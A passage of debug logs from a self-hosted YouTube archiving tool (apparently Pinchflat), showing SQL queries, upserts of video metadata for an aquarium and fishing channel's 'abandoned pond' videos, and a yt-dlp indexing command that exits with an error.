ponds, sewers, abandoned pools, and even pet stores filled with monsters!\n—\n⏹Subscribe to the vlog channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\n⏹MERCH NOW AVAILABLE: https://bassfishingproductions.shop\n—\n⏹Instagram: https://www.instagram.com/bassfishingproductions/\n\n⏹TikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m\n\n⏹Business email: bassfishermanguy@gmail.com", "Every Pond Monster I’ve Ever Found…", "4bc8c369-c07c-4c83-9348-d20706dbb481", "gyK4NviOjGA", false, "https://www.youtube.com/watch?v=gyK4NviOjGA", 33, [], 10248, false, 18, "/downloads/shows/Bass fishing Productions/Season 2024/s2024e121400 - Every Pond Monster I’ve Ever Found….mp4", false, false, 98, ~U[2024-12-14 13:28:27Z], ~U[2026-06-03 12:30:34Z], ~U[2026-06-03 12:30:34Z], "In today’s video, I combine all of my videos of finding monsters in 2024 into one giant movie! We found axolotls, sharks, alligators, snakes, deadly fish, and some of the rarest animals in the world in this video… So join me on this adventure as we explore abandoned ponds, sewers, abandoned pools, and even pet stores filled with monsters!\n—\n⏹Subscribe to the vlog channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\n⏹MERCH NOW AVAILABLE: https://bassfishingproductions.shop\n—\n⏹Instagram: https://www.instagram.com/bassfishingproductions/\n\n⏹TikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m\n\n⏹Business email: bassfishermanguy@gmail.com", "Every Pond Monster I’ve Ever Found…", "gyK4NviOjGA", "https://www.youtube.com/watch?v=gyK4NviOjGA", 33, 10248, false, "/downloads/shows/Bass fishing Productions/Season 2024/s2024e121400 - Every Pond Monster I’ve Ever Found….mp4", false, ~U[2024-12-14 13:28:27Z]] 08:30:34.974 [debug] QUERY OK source="sources" db=0.1ms idle=179.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:34.975 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:30:34.975 [debug] QUERY OK source="media_items" db=0.2ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118985] 08:30:34.975 [debug] Current batch of media processed. Will check again in 1000ms 08:30:35.976 [debug] Current batch of media processed. Will check again in 1000ms 08:30:36.978 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video, I find an abandoned axolotl farm that is filled with axolotls, fish, turtles, frogs, and much more that were left here to die! So, my mission is to explore the entire farm to hopefully save all the animals! I started by netting around in a pond and immediately I caught some axolotls! But as I kept going I ended up finding albino axolotls which are alot\nmore rare! After that I kept netting around and I managed to catch a golden axolotl, one of the rarest in the world! I then came across a pond that was filled with crazy fish, including flowerhorns, lungfish, catfish, pufferfish, eels, freshwater sharks, and much more! But things didn’t stop there, I kept going and I started catching more axolotls, and even some baby turtles! But sadly, what I found next was a shattered fish tank filled with dead fish and axolotls… So now we have to hurry because these animals don’t have a lot of time left! I kept exploring and I managed to catch some angelfish, betta fish, and a monster albino axolotl! Things were starting to get crazy and I found a pond loaded with colorful crawfish, including orange ones, blue ones, and even white ones! I kept exploring the farm when suddenly I came across some monster fish including an albino lungfish, oscars, arowanas, and much more! But then I came across the deadliest animal so far… It was a mata mata turtle, one of the rarest turtles in the world! After exploring the rest of the farm and catching more axolotls, and albino frogs, it was now time to explore the two massive ponds filled with axolotls! So I places a fish trap in one of them and I started netting around in the other… Immediately I caught some of the biggest axolotls iv ever seen, including black ones, golden ones, and albino ones! But after a while it was now time to check the fish trap and I managed to catch a ton of axolotls, which means we successfully saved all of the animals from the abandoned farm!\n—\n⏹Subscribe to the vlog channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\n⏹MERCH NOW AVAILABLE: https://bassfishingproductions.shop\n—\n⏹Instagram: https://www.instagram.com/bassfishingproductions/\n\n⏹TikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m\n\n⏹Business email: bassfishermanguy@gmail.com", "duration" => 1540, "filename" => "/downloads/shows/Bass fishing Productions/Season 2024/s2024e112300 - I Found an Abandoned Axolotl Farm.mkv", "id" => "RiS0pgYsKdg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=RiS0pgYsKdg", "playlist_index" => 19, "timestamp" => 1732366805, "title" => "I Found an Abandoned Axolotl Farm", "upload_date" => "20241123"} 08:30:36.979 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=289.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:30:36.981 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=290.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:36.983 [debug] QUERY OK source="media_items" db=2.2ms idle=292.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-23 13:00:05Z], 33] 08:30:36.985 [debug] QUERY OK source="media_items" db=1.0ms idle=294.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I find an abandoned axolotl farm that is filled with axolotls, fish, turtles, frogs, and much more that were left here to die! So, my mission is to explore the entire farm to hopefully save all the animals! I started by netting around in a pond and immediately I caught some axolotls! But as I kept going I ended up finding albino axolotls which are alot\nmore rare! After that I kept netting around and I managed to catch a golden axolotl, one of the rarest in the world! I then came across a pond that was filled with crazy fish, including flowerhorns, lungfish, catfish, pufferfish, eels, freshwater sharks, and much more! But things didn’t stop there, I kept going and I started catching more axolotls, and even some baby turtles! But sadly, what I found next was a shattered fish tank filled with dead fish and axolotls… So now we have to hurry because these animals don’t have a lot of time left! I kept exploring and I managed to catch some angelfish, betta fish, and a monster albino axolotl! Things were starting to get crazy and I found a pond loaded with colorful crawfish, including orange ones, blue ones, and even white ones! I kept exploring the farm when suddenly I came across some monster fish including an albino lungfish, oscars, arowanas, and much more! But then I came across the deadliest animal so far… It was a mata mata turtle, one of the rarest turtles in the world! After exploring the rest of the farm and catching more axolotls, and albino frogs, it was now time to explore the two massive ponds filled with axolotls! So I places a fish trap in one of them and I started netting around in the other… Immediately I caught some of the biggest axolotls iv ever seen, including black ones, golden ones, and albino ones! But after a while it was now time to check the fish trap and I managed to catch a ton of axolotls, which means we successfully saved all of the animals from the abandoned farm!\n—\n⏹Subscribe to the vlog channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\n⏹MERCH NOW AVAILABLE: https://bassfishingproductions.shop\n—\n⏹Instagram: https://www.instagram.com/bassfishingproductions/\n\n⏹TikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m\n\n⏹Business email: bassfishermanguy@gmail.com", "I Found an Abandoned Axolotl Farm", "aaa31221-b0f2-4b96-92fc-51a6e8df923d", "RiS0pgYsKdg", false, "https://www.youtube.com/watch?v=RiS0pgYsKdg", 33, [], 1540, false, 19, "/downloads/shows/Bass fishing Productions/Season 2024/s2024e112300 - I Found an Abandoned Axolotl Farm.mkv", false, false, 98, ~U[2024-11-23 13:00:05Z], ~U[2026-06-03 12:30:36Z], ~U[2026-06-03 12:30:36Z], "In today’s video, I find an abandoned axolotl farm that is filled with axolotls, fish, turtles, frogs, and much more that were left here to die! So, my mission is to explore the entire farm to hopefully save all the animals! I started by netting around in a pond and immediately I caught some axolotls! But as I kept going I ended up finding albino axolotls which are alot\nmore rare! After that I kept netting around and I managed to catch a golden axolotl, one of the rarest in the world! I then came across a pond that was filled with crazy fish, including flowerhorns, lungfish, catfish, pufferfish, eels, freshwater sharks, and much more! But things didn’t stop there, I kept going and I started catching more axolotls, and even some baby turtles! But sadly, what I found next was a shattered fish tank filled with dead fish and axolotls… So now we have to hurry because these animals don’t have a lot of time left! I kept exploring and I managed to catch some angelfish, betta fish, and a monster albino axolotl! Things were starting to get crazy and I found a pond loaded with colorful crawfish, including orange ones, blue ones, and even white ones! I kept exploring the farm when suddenly I came across some monster fish including an albino lungfish, oscars, arowanas, and much more! But then I came across the deadliest animal so far… It was a mata mata turtle, one of the rarest turtles in the world! After exploring the rest of the farm and catching more axolotls, and albino frogs, it was now time to explore the two massive ponds filled with axolotls! So I places a fish trap in one of them and I started netting around in the other… Immediately I caught some of the biggest axolotls iv ever seen, including black ones, golden ones, and albino ones! But after a while it was now time to check the fish trap and I managed to catch a ton of axolotls, which means we successfully saved all of the animals from the abandoned farm!\n—\n⏹Subscribe to the vlog channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\n⏹MERCH NOW AVAILABLE: https://bassfishingproductions.shop\n—\n⏹Instagram: https://www.instagram.com/bassfishingproductions/\n\n⏹TikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m\n\n⏹Business email: bassfishermanguy@gmail.com", "I Found an Abandoned Axolotl Farm", "RiS0pgYsKdg", "https://www.youtube.com/watch?v=RiS0pgYsKdg", 33, 1540, false, "/downloads/shows/Bass fishing Productions/Season 2024/s2024e112300 - I Found an Abandoned Axolotl Farm.mkv", false, ~U[2024-11-23 13:00:05Z]] 08:30:36.986 [debug] QUERY OK source="sources" db=0.2ms idle=187.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:36.986 [debug] QUERY OK source="media_profiles" db=0.1ms queue=0.1ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:30:36.986 [debug] QUERY OK source="media_items" db=0.1ms idle=5.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118986] 08:30:36.986 [debug] Current batch of media processed. Will check again in 1000ms 08:30:37.987 [debug] Current batch of media processed. Will check again in 1000ms 08:30:38.988 [debug] Current batch of media processed. Will check again in 1000ms 08:30:39.526 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@BassFishingProductions --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Bass fishing Productions/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1440,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/b8/7a/b87aec048477c6534df1a7a74c78754b3ae71d6f8049ee3e41eed0e620c56229.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/9f/53/9f533d2ad972e5f82d4f116c1a0f0b30c3202f8612a2693f8f5469c6d7f19b98.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 08:30:39.527 [debug] Gracefully stopping file follower 08:30:39.528 [debug] QUERY OK source="sources" db=0.2ms idle=838.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:30:39.528 [debug] QUERY OK source="sources" db=0.1ms idle=838.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:39.529 [debug] QUERY OK source="media_items" db=0.8ms idle=839.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-03 12:00:08Z], 33] 08:30:39.531 [debug] QUERY OK source="media_items" db=1.1ms idle=840.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I find an abandoned axolotl pet store that is still filled with the rarest and most expensive axolotls in the world, Including a mosaic axolotl that costs $10,000! And well since no one is taking care of them, my mission is to save as many as possible! So I started my search and immediately I came across a bunch of tiny fish tanks that were filled with shrimp, pufferfish, frogs, and a bunch of baby axolotls! But these were just normal ones, as we explore the rest of the abandoned pet store the axolotls are gonna get rarer and rarer! I kept going and next I found a bunch of albino axolotls, as well as a melanistic, a golden, and a copper! However as I took my next scoop I pulled up the most expensive animal so far, a fly river turtle! These turtles cost over $800, but believe it or not that’s not even the most expensive animal in this pet store! After that I continued exploring and I managed to find a white crawfish, a gulper catfish, and even a freshwater pufferfish! Now up until this point we have saved tons of axolotls, but as I kept going I discovered more species I’ve never even heard of! Including a bluegill axolotl, a golden copper, and even a deformed axolotl that only had gills on the left side of his head! After that I made my way over to the other side of the pet store where they kept some of their craziest animals, and I managed to find snapping turtles, and a bunch of monster fish including a retail catfish, and a ripsaw catfish! I then discovered an aquarium filled with murky green water, and inside was the rarest axolotls so far, including a firefly, and one that glows in the dark! After that I made a shocking discovery, it was an aquarium that was filled with $5,000 worth of baby mosaic axolotls! This means that they are breeding in here, but we still need to find the big one, so I kept going and next was a big pond full of the biggest axolotls so far! I managed to catch a big albino, a melanistic, and a big golden! But there was still no sign of the $10,000 mosaic axolotl, so I started netting around in the final tank, when suddenly I pulled up the mosaic axolotl! In total we saved hundreds of axolotls, including the rarest ones in the entire world! Comment below if I should do a part 2 where I build all of them their dream home!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found an Abandoned Axolotl Pet Store...", "8bd532c1-7fc6-45c2-800b-db9c446f91b9", "5kj__m_07rI", false, "https://www.youtube.com/watch?v=5kj__m_07rI", 33, [], 1986, false, 1, "/downloads/shows/Bass fishing Productions/Season 2026/s2026e050300 - I Found an Abandoned Axolotl Pet Store....mkv", false, false, 98, ~U[2026-05-03 12:00:08Z], ~U[2026-06-03 12:30:39Z], ~U[2026-06-03 12:30:39Z], "In today’s video, I find an abandoned axolotl pet store that is still filled with the rarest and most expensive axolotls in the world, Including a mosaic axolotl that costs $10,000! And well since no one is taking care of them, my mission is to save as many as possible! So I started my search and immediately I came across a bunch of tiny fish tanks that were filled with shrimp, pufferfish, frogs, and a bunch of baby axolotls! But these were just normal ones, as we explore the rest of the abandoned pet store the axolotls are gonna get rarer and rarer! I kept going and next I found a bunch of albino axolotls, as well as a melanistic, a golden, and a copper! However as I took my next scoop I pulled up the most expensive animal so far, a fly river turtle! These turtles cost over $800, but believe it or not that’s not even the most expensive animal in this pet store! After that I continued exploring and I managed to find a white crawfish, a gulper catfish, and even a freshwater pufferfish! Now up until this point we have saved tons of axolotls, but as I kept going I discovered more species I’ve never even heard of! Including a bluegill axolotl, a golden copper, and even a deformed axolotl that only had gills on the left side of his head! After that I made my way over to the other side of the pet store where they kept some of their craziest animals, and I managed to find snapping turtles, and a bunch of monster fish including a retail catfish, and a ripsaw catfish! I then discovered an aquarium filled with murky green water, and inside was the rarest axolotls so far, including a firefly, and one that glows in the dark! After that I made a shocking discovery, it was an aquarium that was filled with $5,000 worth of baby mosaic axolotls! This means that they are breeding in here, but we still need to find the big one, so I kept going and next was a big pond full of the biggest axolotls so far! I managed to catch a big albino, a melanistic, and a big golden! But there was still no sign of the $10,000 mosaic axolotl, so I started netting around in the final tank, when suddenly I pulled up the mosaic axolotl! In total we saved hundreds of axolotls, including the rarest ones in the entire world! Comment below if I should do a part 2 where I build all of them their dream home!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found an Abandoned Axolotl Pet Store...", "5kj__m_07rI", "https://www.youtube.com/watch?v=5kj__m_07rI", 33, 1986, false, "/downloads/shows/Bass fishing Productions/Season 2026/s2026e050300 - I Found an Abandoned Axolotl Pet Store....mkv", false, ~U[2026-05-03 12:00:08Z]] 08:30:39.531 [debug] QUERY OK source="sources" db=0.2ms idle=731.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:39.532 [debug] QUERY OK source="media_items" db=1.0ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-28 12:00:02Z], 33] 08:30:39.534 [debug] QUERY OK source="media_items" db=1.2ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video I find deadly fish living in an abandoned pool, along with a ton of other rare and expensive fish! It all started when a subscriber contacted me saying there are monsters attacking his pet fish. He suspected it could be a man eating catfish, an electric eel, or a 4ft long aba aba knife fish, also known as the deadliest freshwater fish in the world… So my goal is to explore the entire abandoned pool and catch out every single fish before it’s too late! I started netting around and right away I caught tons of exotic fish including ripsaw catfish, knife fish, piranhas, and so many other rare fish… But as I moved deeper into the abandoned pool, I also discovered that it was infested with leeches and other aquatic insects like toe biters, which is another reason we need to save all the fish! So I kept scooping around and the fish were getting bigger and bigger! I caught a bunch of giant catfish, and even a deadly vampire fish… But right after that I caught something even bigger in my net, but sadly it ripped a hole in it and got away… So I continued searching to find out what it is, when suddenly I caught a baby aba aba knife fish! This means that there is multiple of these deadly fish in this pool, which is gonna make this rescue mission a lot harder. So I kept going and I found a redtail catfish, an albino turtle, and even a giant gar! But these fish were getting harder and harder to catch, so I decided to get into the abandoned pool and right away I caught a giant softshell turtle, a big lungfish, a freshwater pufferfish, and so many other rare fish iv never even seen before! But things took a turn when suddenly I was attacked by one of the deadly fish, so I decided to just place a bunch of fish traps and leave them there overnight, that way we can hopefully catch out the rest of the fish! When it was time to check the traps, I noticed they were filled with insane creatures, including a platinum redtail catfish, an albino pufferfish, goonch catfish, and so much more! But then there was only one trap to check and it was the biggest one out of all of them… Inside was an albino sturgeon, a clown knife fish, a giant bichir, and the 4ft long aba aba knife fish! But even though we caught out and removed a bunch of deadly fish, there is still more in the abandoned pool… So should I come back and do a part 2?\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Deadly Fish in an Abandoned Pool…", "3b868c7c-e842-4552-ae0f-79709e86562f", "X19-y45lt6o", false, "https://www.youtube.com/watch?v=X19-y45lt6o", 33, [], 2085, false, 2, "/downloads/shows/Bass fishing Productions/Season 2026/s2026e032800 - I Found Deadly Fish in an Abandoned Pool….mkv", false, false, 98, ~U[2026-03-28 12:00:02Z], ~U[2026-06-03 12:30:39Z], ~U[2026-06-03 12:30:39Z], "In today’s video I find deadly fish living in an abandoned pool, along with a ton of other rare and expensive fish! It all started when a subscriber contacted me saying there are monsters attacking his pet fish. He suspected it could be a man eating catfish, an electric eel, or a 4ft long aba aba knife fish, also known as the deadliest freshwater fish in the world… So my goal is to explore the entire abandoned pool and catch out every single fish before it’s too late! I started netting around and right away I caught tons of exotic fish including ripsaw catfish, knife fish, piranhas, and so many other rare fish… But as I moved deeper into the abandoned pool, I also discovered that it was infested with leeches and other aquatic insects like toe biters, which is another reason we need to save all the fish! So I kept scooping around and the fish were getting bigger and bigger! I caught a bunch of giant catfish, and even a deadly vampire fish… But right after that I caught something even bigger in my net, but sadly it ripped a hole in it and got away… So I continued searching to find out what it is, when suddenly I caught a baby aba aba knife fish! This means that there is multiple of these deadly fish in this pool, which is gonna make this rescue mission a lot harder. So I kept going and I found a redtail catfish, an albino turtle, and even a giant gar! But these fish were getting harder and harder to catch, so I decided to get into the abandoned pool and right away I caught a giant softshell turtle, a big lungfish, a freshwater pufferfish, and so many other rare fish iv never even seen before! But things took a turn when suddenly I was attacked by one of the deadly fish, so I decided to just place a bunch of fish traps and leave them there overnight, that way we can hopefully catch out the rest of the fish! When it was time to check the traps, I noticed they were filled with insane creatures, including a platinum redtail catfish, an albino pufferfish, goonch catfish, and so much more! But then there was only one trap to check and it was the biggest one out of all of them… Inside was an albino sturgeon, a clown knife fish, a giant bichir, and the 4ft long aba aba knife fish! But even though we caught out and removed a bunch of deadly fish, there is still more in the abandoned pool… So should I come back and do a part 2?\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Deadly Fish in an Abandoned Pool…", "X19-y45lt6o", "https://www.youtube.com/watch?v=X19-y45lt6o", 33, 2085, false, "/downloads/shows/Bass fishing Productions/Season 2026/s2026e032800 - I Found Deadly Fish in an Abandoned Pool….mkv", false, ~U[2026-03-28 12:00:02Z]] 08:30:39.534 [debug] QUERY OK source="sources" db=0.3ms idle=5.2ms SELECT 